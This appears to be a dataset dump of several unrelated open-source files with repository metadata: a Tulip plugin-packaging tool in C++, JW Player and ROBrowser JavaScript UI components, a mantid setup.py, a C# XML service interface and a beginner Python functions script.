* Tulip is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
* See the GNU General Public License for more details.
*
*/
#include <stdlib.h>
#include "PluginGenerate.h"
#include <PluginLoaderWithInfo.h>
#include <UpdatePlugin.h>
#include <QtCore/QString>
#include <QtCore/QFile>
#include <QtCore/QDir>
#include <QtCore/QTextStream>
#include <QtGui/QApplication>
#include <tulip/TlpTools.h>
#include <tulip/GlyphManager.h>
#include <tulip/InteractorManager.h>
#include <tulip/ViewPluginsManager.h>
#include <tulip/ControllerPluginsManager.h>
#include <tulip/View.h>
using namespace std;
using namespace tlp;
int main(int argc,char **argv) {
if(argc != 5 && argc != 6) {
cout << "How to use :" << endl;
cout << " First arg : plugin file" << endl;
cout << " Second arg : doxygen generated plugin doc file" << endl;
cout << " Third arg : target directory" << endl;
cout << " 4th arg : generate .xml/.doc files (yes/no)" << endl;
cout << " 5th arg : i386/i64 : default i386" << endl;
exit(1);
}
QString pluginPath=argv[1];
QString pluginDocPath=argv[2];
QString targetPath=argv[3];
cout << "plugin path : " << pluginPath.toStdString() << endl;
cout << "plugin doc path : " << pluginDocPath.toStdString() << endl;
cout << "target path : " << targetPath.toStdString() << endl;
bool generateDoc=true;
if(QString(argv[4])=="no")
generateDoc=false;
QString subDir("i386");
if(argc>=6)
subDir=QString(argv[5]);
QApplication app(argc, argv);
QFileInfo fileInfo(pluginPath);
QDir srcDir = fileInfo.dir();
QString suffix = fileInfo.suffix();
char *getEnvTlp=getenv("TLP_DIR");
#if defined(_WIN32)
putenv("TLP_DIR=");
#else
setenv("TLP_DIR","",true);
#endif
PluginLoaderWithInfo plug;
initTulipLib(NULL);
loadPlugin(pluginPath.toStdString(), &plug);
if (generateDoc) {
//GlyphManager::getInst().loadPlugins(&plug); //Glyph plugins
InteractorManager::getInst().loadPlugins(&plug);
ViewPluginsManager::getInst().loadPlugins(&plug);
ControllerPluginsManager::getInst().loadPlugins(&plug);
}
if (!plug.errorMsgs.empty()) {
cout << "Error when loading plugins:"<< endl;
cout << plug.errorMsgs << endl;
return EXIT_FAILURE;
}
#if defined(_WIN32)
if (getEnvTlp)
putenv((string("TLP_DIR=") + getEnvTlp).c_str());
else
putenv("TLP_DIR=");
#else
if (getEnvTlp)
setenv("TLP_DIR",getEnvTlp,true);
else
unsetenv("TLP_DIR");
#endif
TemplateFactory<GlyphFactory, Glyph, GlyphContext>::ObjectCreator::const_iterator itGlyphs;
vector<string> glyphsName;
for (itGlyphs=GlyphFactory::factory->objMap.begin(); itGlyphs != GlyphFactory::factory->objMap.end(); ++itGlyphs) {
glyphsName.push_back((itGlyphs)->first);
}
TemplateFactory<InteractorFactory, Interactor, InteractorContext>::ObjectCreator::const_iterator itInteractors;
vector<string> interactorsName;
for (itInteractors=InteractorFactory::factory->objMap.begin(); itInteractors != InteractorFactory::factory->objMap.end(); ++itInteractors) {
interactorsName.push_back((itInteractors)->first);
}
TemplateFactory<ViewFactory, View, ViewContext>::ObjectCreator::const_iterator itViews;
vector<string> viewsName;
for (itViews=ViewFactory::factory->objMap.begin(); itViews != ViewFactory::factory->objMap.end(); ++itViews) {
viewsName.push_back((itViews)->first);
}
for(size_t i=0; i<plug.pluginsList.size(); ++i) {
for(vector<string>::iterator it=glyphsName.begin(); it!=glyphsName.end(); ++it) {
if(plug.pluginsList[i].name==(*it)) {
plug.pluginsList[i].type="Glyph";
}
}
for(vector<string>::iterator it=interactorsName.begin(); it!=interactorsName.end(); ++it) {
if(plug.pluginsList[i].name==(*it)) {
plug.pluginsList[i].type="Interactor";
}
}
for(vector<string>::iterator it=viewsName.begin(); it!=viewsName.end(); ++it) {
if(plug.pluginsList[i].name==(*it)) {
plug.pluginsList[i].type="View";
}
}
if(plug.pluginsList[i].type=="")
plug.pluginsList[i].type="Algorithm";
}
LocalPluginInfo pluginInfo;
if(plug.pluginsList.size()>1) {
bool equal=true;
for(size_t i=0; i<plug.pluginsList.size()-1; ++i) {
if(plug.pluginsList[i].type!=plug.pluginsList[i+1].type) {
equal=false;
break;
}
}
if(!equal) {
for(size_t i=0; i<plug.pluginsList.size(); ++i) {
if(plug.pluginsList[i].type=="View") {
pluginInfo = plug.pluginsList[i];
break;
}
}
}
else {
pluginInfo = plug.pluginsList[0];
}
}
if(plug.pluginsList.size()==1) {
pluginInfo = plug.pluginsList[0];
}
if (generateDoc) {
pluginInfo.displayType= PluginInfo::getPluginDisplayType(pluginInfo.name);
if(pluginInfo.displayType == "Glyph")
pluginInfo.type = "Glyph";
}
QString path= pluginInfo.fileName.c_str()+QString(".")+(QString(pluginInfo.version.c_str()).split(" "))[1];
QDir dir;
dir.mkpath(targetPath);
dir.mkpath(targetPath+"/pluginsV2/");
dir.mkpath(targetPath+"/pluginsV2/"+path);
dir.mkpath(targetPath+"/pluginsV2/"+path+"/"+subDir);
QDir dstDir(targetPath+"/pluginsV2/"+path);
QDir dstSubDir(targetPath+"/pluginsV2/"+path+"/"+subDir);
if(generateDoc)
if (!generatePluginInfoFile(pluginInfo, dstDir))
return EXIT_FAILURE;
UpdatePlugin::copyFile(srcDir,
QString(pluginInfo.fileName.c_str())
+ '.' + suffix,
dstSubDir,
QString(pluginInfo.fileName.c_str())
+ '.' + suffix);
// Documentation
if(generateDoc) {
QString fileName(pluginInfo.fileName.c_str());
QString version(pluginInfo.version.c_str());
QFile docFile(pluginDocPath);
generatePluginDocFile(fileName, version, docFile, dstDir);
}
return EXIT_SUCCESS;
}
| gpl-3.0 |
vfremaux/moodle-mod_mplayer | extralib/players/jw/8.0/src/js/view/controls/components/settings/menu.js | 6189 | import { cloneIcon } from 'view/controls/icons';
import button from 'view/controls/components/button';
import SettingsMenuTemplate from 'view/controls/templates/settings/menu';
import { createElement, emptyElement, prependChild } from 'utils/dom';
export function SettingsMenu(onVisibility, onSubmenuAdded, onMenuEmpty) {
const documentClickHandler = (e) => {
// Close if anything other than the settings menu has been clicked
// Let the display (jw-video) handles closing itself (display clicks do not pause if the menu is open)
// Don't close if the user has dismissed the nextup tooltip via it's close button (the tooltip overlays the menu)
const targetClass = e.target.className;
if (!targetClass.match(/jw-(settings|video|nextup-close|sharing-link)/)) {
instance.close();
}
};
let visible;
let active = null;
const submenus = {};
const settingsMenuElement = createElement(SettingsMenuTemplate());
const closeOnEnter = function(evt) {
if (evt && evt.keyCode === 27) {
instance.close(evt);
evt.stopPropagation();
}
};
settingsMenuElement.addEventListener('keydown', closeOnEnter);
const closeButton = button('jw-settings-close', () => {
instance.close();
}, 'Close Settings', [cloneIcon('close')]);
const closeOnButton = function(evt) {
// Close settings menu when enter is pressed on the close button
// or when tab key is pressed since it is the last element in topbar
if (evt.keyCode === 13 || (evt.keyCode === 9 && !evt.shiftKey)) {
instance.close(evt);
}
};
closeButton.show();
closeButton.element().addEventListener('keydown', closeOnButton);
const topbarElement = settingsMenuElement.querySelector('.jw-settings-topbar');
topbarElement.appendChild(closeButton.element());
const instance = {
open(isDefault, event) {
visible = true;
onVisibility(visible, event);
settingsMenuElement.setAttribute('aria-expanded', 'true');
addDocumentListeners(documentClickHandler);
if (isDefault) {
if (event && event.type === 'enter') {
active.categoryButtonElement.focus();
}
} else {
active.element().firstChild.focus();
}
},
close(event) {
visible = false;
onVisibility(visible, event);
active = null;
deactivateAllSubmenus(submenus);
settingsMenuElement.setAttribute('aria-expanded', 'false');
removeDocumentListeners(documentClickHandler);
},
toggle() {
if (visible) {
this.close();
} else {
this.open();
}
},
addSubmenu(submenu) {
if (!submenu) {
return;
}
const name = submenu.name;
submenus[name] = submenu;
if (submenu.isDefault) {
prependChild(topbarElement, submenu.categoryButtonElement);
submenu.categoryButtonElement.addEventListener('keydown', function(evt) {
// close settings menu if you shift-tab on the first category button element
if (evt.keyCode === 9 && evt.shiftKey) {
instance.close(evt);
}
});
} else {
// sharing should always be the last submenu
const sharingButton = topbarElement.querySelector('.jw-submenu-sharing');
topbarElement.insertBefore(
submenu.categoryButtonElement,
sharingButton || closeButton.element()
);
}
settingsMenuElement.appendChild(submenu.element());
onSubmenuAdded();
},
getSubmenu(name) {
return submenus[name];
},
removeSubmenu(name) {
const submenu = submenus[name];
if (!submenu || submenu.element().parentNode !== settingsMenuElement) {
return;
}
settingsMenuElement.removeChild(submenu.element());
topbarElement.removeChild(submenu.categoryButtonElement);
submenu.destroy();
delete submenus[name];
if (!Object.keys(submenus).length) {
this.close();
onMenuEmpty();
}
},
activateSubmenu(name) {
const submenu = submenus[name];
if (!submenu || submenu.active) {
return;
}
deactivateAllSubmenus(submenus);
submenu.activate();
active = submenu;
if (!submenu.isDefault) {
active.element().firstChild.focus();
}
},
activateFirstSubmenu() {
const firstSubmenuName = Object.keys(submenus)[0];
this.activateSubmenu(firstSubmenuName);
},
element() {
return settingsMenuElement;
},
destroy() {
this.close();
settingsMenuElement.removeEventListener('keydown', closeOnEnter);
closeButton.element().removeEventListener('keydown', closeOnButton);
emptyElement(settingsMenuElement);
}
};
Object.defineProperties(instance, {
visible: {
enumerable: true,
get: () => visible
},
});
return instance;
}
const addDocumentListeners = (handler) => {
document.addEventListener('mouseup', handler);
document.addEventListener('pointerup', handler);
document.addEventListener('touchstart', handler);
};
const removeDocumentListeners = (handler) => {
document.removeEventListener('mouseup', handler);
document.removeEventListener('pointerup', handler);
document.removeEventListener('touchstart', handler);
};
const deactivateAllSubmenus = (submenus) => {
Object.keys(submenus).forEach(name => {
submenus[name].deactivate();
});
};
| gpl-3.0 |
ScreamingUdder/mantid | qt/applications/workbench/setup.py | 1035 | # -*- coding: utf-8 -*-
# This file is part of the mantid workbench.
#
# Copyright (C) 2017 mantidproject
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from setuptools import setup
# The most basic setup possible to be able to use setup.py develop
setup(
name="workbench",
install_requires=['mantidqt'],
entry_points={
'gui_scripts': [
'workbench = workbench.app.mainwindow:main'
]
},
)
| gpl-3.0 |
funbather/nhnh-client | src/UI/Components/ShortCut/ShortCut.js | 13347 | /**
* UI/Components/ShortCut/ShortCut.js
*
* ShortCut windows component
*
* This file is part of ROBrowser, Ragnarok Online in the Web Browser (http://www.robrowser.com/).
*
* @author Vincent Thibault
*/
define(function(require)
{
'use strict';
/**
* Dependencies
*/
var DB = require('DB/DBManager');
var ItemType = require('DB/Items/ItemType');
var SkillInfo = require('DB/Skills/SkillInfo');
var jQuery = require('Utils/jquery');
var Client = require('Core/Client');
var Preferences = require('Core/Preferences');
var Renderer = require('Renderer/Renderer');
var Mouse = require('Controls/MouseEventHandler');
var UIManager = require('UI/UIManager');
var UIComponent = require('UI/UIComponent');
var ItemInfo = require('UI/Components/ItemInfo/ItemInfo');
var Inventory = require('UI/Components/Inventory/Inventory');
var SkillWindow = require('UI/Components/SkillList/SkillList');
var SkillDescription = require('UI/Components/SkillDescription/SkillDescription');
var SkillTargetSelection = require('UI/Components/SkillTargetSelection/SkillTargetSelection');
var htmlText = require('text!./ShortCut.html');
var cssText = require('text!./ShortCut.css');
/**
* Create Component
*/
var ShortCut = new UIComponent( 'ShortCut', htmlText, cssText );
/**
* @var {Array} ShortCut list
*/
var _list = [];
/**
* @var {number} max number of rows
*/
var _rowCount = 0;
/**
* @var {Preference} structure to save informations about shortcut
*/
var _preferences = Preferences.get('ShortCut', {
x: 480,
y: 0,
size: 1,
}, 1.0);
/**
* Initialize UI
*/
ShortCut.init = function init()
{
this.ui.find('.resize').mousedown(onResize);
this.ui.find('.close').mousedown(stopPropagation).click(onClose);
this.ui
// Dropping to the shortcut
.on('drop', '.container', onDrop)
.on('dragover', '.container', stopPropagation)
// Icons
.on('dragstart', '.icon', onDragStart)
.on('dragend', '.icon', onDragEnd)
.on('dblclick', '.icon', onUseShortCut)
.on('contextmenu', '.icon', onElementInfo)
.on('mousedown', '.icon', function(event){
event.stopImmediatePropagation();
});
this.draggable();
};
/**
* Append to body
*/
ShortCut.onAppend = function onAppend()
{
// Apply preferences
var _h = 34 * _preferences.size;
this.ui.css({
top: Math.min( Math.max( 0, _preferences.y), Renderer.height - _h),
left: Math.min( Math.max( 0, _preferences.x), Renderer.width - this.ui.width()),
height: _h
});
};
/**
* When removed, clean up
*/
ShortCut.onRemove = function onRemove()
{
// Save preferences
_preferences.y = parseInt(this.ui.css('top'), 10);
_preferences.x = parseInt(this.ui.css('left'), 10);
_preferences.size = Math.floor( parseInt(this.ui.css('height'),10) / 34 );
_preferences.save();
};
/**
* Request to clean the list
* Used only from MapEngine when exiting the game
*/
ShortCut.clean = function clean()
{
_list.length = 0;
this.ui.find('.container').empty();
};
/**
* Process shortcut
*
* @param {object} key
*/
ShortCut.onShortCut = function onShurtCut( key )
{
switch (key.cmd.replace(/\d+$/, '')) {
case 'EXECUTE':
clickElement( parseInt( key.cmd.match(/\d+$/).toString(), 10) );
break;
case 'EXTEND':
_preferences.size = (_preferences.size + 1) % (_rowCount + 1);
_preferences.save();
this.ui.css('height', _preferences.size * 34 );
break;
}
};
/**
* Bind UI with list of shortcut
*
* @param {Array} shortcut list
*/
ShortCut.setList = function setList( list )
{
var i, count;
var skill;
this.ui.find('.container').empty();
_list.length = list.length;
_rowCount = Math.min( 3, Math.floor(list.length / 9) );
for (i = 0, count = list.length; i < count; ++i) {
if (list[i].isSkill) {
skill = SkillWindow.getSkillById(list[i].ID);
if (skill && skill.level) {
addElement( i, true, list[i].ID, list[i].count || skill.level );
}
else {
if (!_list[i]) {
_list[i] = {};
}
_list[i].isSkill = true;
_list[i].ID = list[i].ID;
_list[i].count = list[i].count;
}
}
else {
addElement( i, list[i].isSkill, list[i].ID, list[i].count );
}
}
};
/**
* Set element data
*
* @param {boolean} is a skill ?
* @param {number} id
* @param {number} count
*/
ShortCut.setElement = function setElement( isSkill, ID, count )
{
var i, size;
for (i = 0, size = _list.length; i < size; ++i) {
if (_list[i] && _list[i].isSkill == isSkill && _list[i].ID === ID) {
addElement( i, isSkill, ID, count);
}
}
};
// Really rough cooldown indicator, redo this with a canvas or something later
ShortCut.startCooldown = function cooldown( id, tick ) {
var i, index, count, ui;
for (i = 0, count = _list.length; i < count; ++i) {
if (_list[i] && _list[i].isSkill && _list[i].ID === id) {
index = i;
}
}
ui = ShortCut.ui.find('.container:eq(' + index + ')');
Client.loadFile( DB.INTERFACE_PATH + 'item/cooldowngray.png', function(url){
ui.find('.cd').css('backgroundImage', 'url('+ url +')');
});
setTimeout(function(){ cooldownRefresh(index) }, tick);
};
function cooldownRefresh( index ) {
var ui = ShortCut.ui.find('.container:eq(' + index + ')');
ui.find('.cd').css('backgroundImage', 'none');
}
/**
* Stop event propagation
*/
function stopPropagation(event)
{
event.stopImmediatePropagation();
return false;
}
/**
* Resizing hotkey window
*/
function onResize( event )
{
var ui = ShortCut.ui;
var top = ui.position().top;
var lastHeight = 0;
var _Interval;
function resizing()
{
var h = Math.floor( (Mouse.screen.y - top ) / 34 + 1 );
// Maximum and minimum window size
h = Math.min( Math.max(h, 1), _rowCount);
if (h === lastHeight) {
return;
}
ui.css('height', h * 34);
_preferences.size = h;
_preferences.save();
lastHeight = h;
}
// Start resizing
_Interval = setInterval( resizing, 30);
// Stop resizing on left click
jQuery(window).on('mouseup.resize', function(event){
if (event.which === 1) {
clearInterval(_Interval);
jQuery(window).off('mouseup.resize');
}
});
return stopPropagation(event);
}
/**
* Add an element to shortcut
*
* @param {number} index of the element
* @param {boolean} is a skill ?
* @param {number} ID
* @param {number} count or level
*/
function addElement( index, isSkill, ID, count )
{
var file, name;
var ui = ShortCut.ui.find('.container:eq(' + index + ')').empty();
if (!_list[index]) {
_list[index] = {};
}
_list[index].isSkill = isSkill;
_list[index].ID = ID;
_list[index].count = count;
if (isSkill) {
// Do not display if no level.
if (!count) {
return;
}
file = SkillInfo[ID].Name;
name = SkillInfo[ID].SkillName;
}
else {
var item = Inventory.getItemById(ID);
// Do not display items not in inventory
if (!item) {
return;
}
var it = DB.getItemInfo(ID);
file = item.IsIdentified ? it.identifiedResourceName : it.unidentifiedResourceName;
name = DB.getItemName(item);
// If equipment, do not display count
if (item.type === ItemType.WEAPON || item.type === ItemType.EQUIP) {
count = 1;
}
// Get item count
else {
count = item.count;
}
// Do not display item if there is none in the inventory
if (!count) {
return;
}
}
Client.loadFile( DB.INTERFACE_PATH + 'item/' + file + '.bmp', function(url){
ui.html(
'<div draggable="true" class="icon">' +
'<div class="img"><div class="cd"></div></div>' +
'<div class="amount"></div>' +
'<span class="name"></span>' +
'</div>'
);
ui.find('.img').css('backgroundImage', 'url('+ url +')');
ui.find('.amount').text(count);
ui.find('.name').text(name);
});
}
/**
* Remove an element from shortcut
*
* @param {boolean} is a skill ?
* @param {number} ID of the element to remove
* @param {number} row id
*/
function removeElement( isSkill, ID, row )
{
var i, count;
// Do not need to modify empty slot
if (!ID) {
return;
}
for (i = row * 9, count = Math.min(_list.length, row * 9 + 9); i < count; ++i) {
if (_list[i] && _list[i].isSkill == isSkill && _list[i].ID === ID) {
ShortCut.ui.find('.container:eq(' + i + ')').empty();
_list[i].isSkill = 0;
_list[i].ID = 0;
_list[i].count = 0;
ShortCut.onChange( i, 0, 0, 0);
}
}
}
/**
* Drop something in the shortcut
* Does the client allow other source than shortcut, inventory
* and skill window to save to shortcut ?
*/
function onDrop( event )
{
var data, element;
var index = parseInt(this.getAttribute('data-index'), 10);
var row = Math.floor( index / 9 );
event.stopImmediatePropagation();
try {
data = JSON.parse(event.originalEvent.dataTransfer.getData('Text'));
element = data.data;
}
catch(e) {
return false;
}
// Do not process others things than item and skill
if (data.type !== 'item' && data.type !== 'skill') {
return false;
}
switch (data.from) {
case 'SkillList':
ShortCut.onChange( index, true, element.SKID, element.level);
removeElement( true, element.SKID, row);
addElement( index, true, element.SKID, element.level);
break;
case 'Inventory':
ShortCut.onChange( index, false, element.ITID, 0);
removeElement( false, element.ITID, row);
addElement( index, false, element.ITID, 0);
break;
case 'ShortCut':
ShortCut.onChange( index, element.isSkill, element.ID, element.count);
removeElement( element.isSkill, element.ID, row);
addElement( index, element.isSkill, element.ID, element.count);
break;
}
return false;
}
/**
* Stop the drag and drop
*/
function onDragEnd()
{
delete window._OBJ_DRAG_;
this.classList.remove('hide');
}
/**
* Prepare data to be store in the dragged element
* to change prosition in the shortcut.
*/
function onDragStart( event )
{
var img, index;
index = parseInt(this.parentNode.getAttribute('data-index'), 10);
this.classList.add('hide');
// Extract image from css to get it when dragging the element
img = new Image();
img.src = this.firstChild.style.backgroundImage.match(/\(([^\)]+)/)[1];
event.originalEvent.dataTransfer.setDragImage( img, 12, 12 );
event.originalEvent.dataTransfer.setData('Text',
JSON.stringify( window._OBJ_DRAG_ = {
type: _list[index].isSkill ? 'skill' : 'item',
from: 'ShortCut',
data: _list[index]
})
);
}
/**
* Get informations from a skill/item when
* using right click on it.
*/
function onElementInfo( event )
{
var index = parseInt(this.parentNode.getAttribute('data-index'), 10);
var element = _list[index];
var skill = SkillWindow.getSkillById(list[i].ID);
event.stopImmediatePropagation();
// Display skill informations
if (element.isSkill) {
if (SkillDescription.uid === _list[index].ID) {
SkillDescription.remove();
}
else {
SkillDescription.append();
SkillDescription.setSkill( _list[index].ID , skill.level);
}
}
// Display item informations
else {
if (ItemInfo.uid === _list[index].ID) {
ItemInfo.remove();
return false;
}
ItemInfo.append();
ItemInfo.uid = _list[index].ID;
ItemInfo.setItem(Inventory.getItemById(_list[index].ID ));
}
return false;
}
/**
* Click on a shortcut
*/
function onUseShortCut()
{
var index = parseInt(this.parentNode.getAttribute('data-index'), 10);
clickElement(index);
}
/**
* Clicking on a shortcut
*
* @param {number} shortcut index
*/
function clickElement( index )
{
var shortcut = _list[index];
SkillTargetSelection.remove();
// Nothing here ?
if (!shortcut) {
return;
}
// Execute skill
if (shortcut.isSkill) {
SkillWindow.useSkillID(shortcut.ID);
}
// Use the item
else {
var item = Inventory.getItemById( _list[index].ID );
if (item) {
Inventory.useItem( item );
}
}
}
/**
* Closing the window
*/
function onClose()
{
ShortCut.ui.css('height', 0);
_preferences.size = 0;
_preferences.save();
}
/**
* Hook Inventory, get informations when there is a change
* to update the shortcut
*
* @param {number} index
* @param {number} count
*/
Inventory.onUpdateItem = function( index, count)
{
ShortCut.setElement( false, index, count);
};
/**
* Hook Skill List, get informations when there is a change
* to update the shortcut
*
* @param {number} skill id
* @param {number} level
*/
SkillWindow.onUpdateSkill = function( id, level)
{
ShortCut.setElement( true, id, level);
};
/**
* Method to define to notify a change.
*
* @param {number} index
* @param {boolean} isSkill
* @param {number} id
* @param {number} count
*/
ShortCut.onChange = function OnConfigUpdate(/*index, isSkill, ID, count*/){};
/**
* Create component and export it
*/
return UIManager.addComponent(ShortCut);
});
| gpl-3.0 |
bozhink/ProcessingTools | src/ProcessingTools/Services/Data/Services.Data/Contracts/Files/IXmlFileContentDataService.cs | 1362 | namespace ProcessingTools.Services.Data.Contracts.Files
{
using System.Threading.Tasks;
using System.Xml;
/// <summary>
/// Manipulates content of XML files.
/// </summary>
public interface IXmlFileContentDataService
{
/// <summary>
/// Gets or sets custom XmlReaderSettings to be used in read process.
/// </summary>
XmlReaderSettings ReaderSettings { get; set; }
/// <summary>
/// Gets or sets custom XmlWriterSettings to be used in write process.
/// </summary>
XmlWriterSettings WriterSettings { get; set; }
/// <summary>
/// Reads an XML file to DOM.
/// </summary>
/// <param name="fullName">The full name of the file to be read.</param>
/// <returns>DOM of the read file.</returns>
Task<XmlDocument> ReadXmlFile(string fullName);
/// <summary>
/// Writes a DOM to a specified file.
/// </summary>
/// <param name="fullName">The full name of the file to be written.</param>
/// <param name="document">XML as DOM to be written.</param>
/// <param name="documentType">Custom DOCTYPE of the DOM to be set.</param>
/// <returns></returns>
Task<object> WriteXmlFile(string fullName, XmlDocument document, XmlDocumentType documentType = null);
}
} | gpl-3.0 |
Guthans/Python-Beginnings | Functions.py | 380 | # Functions
print("#Functions")
print()
print("test() - Print out Test Function ")
def test():
print("Test Function")
test()
print()
print("testparam() - Print out a + b of the params ")
def testparam(a, b):
print(a + b)
testparam(1, 2)
print()
print("testScope() - Print out a2 using a global scope")
a2 = 10
def testscope():
print(a2)
testscope()
print() | gpl-3.0 |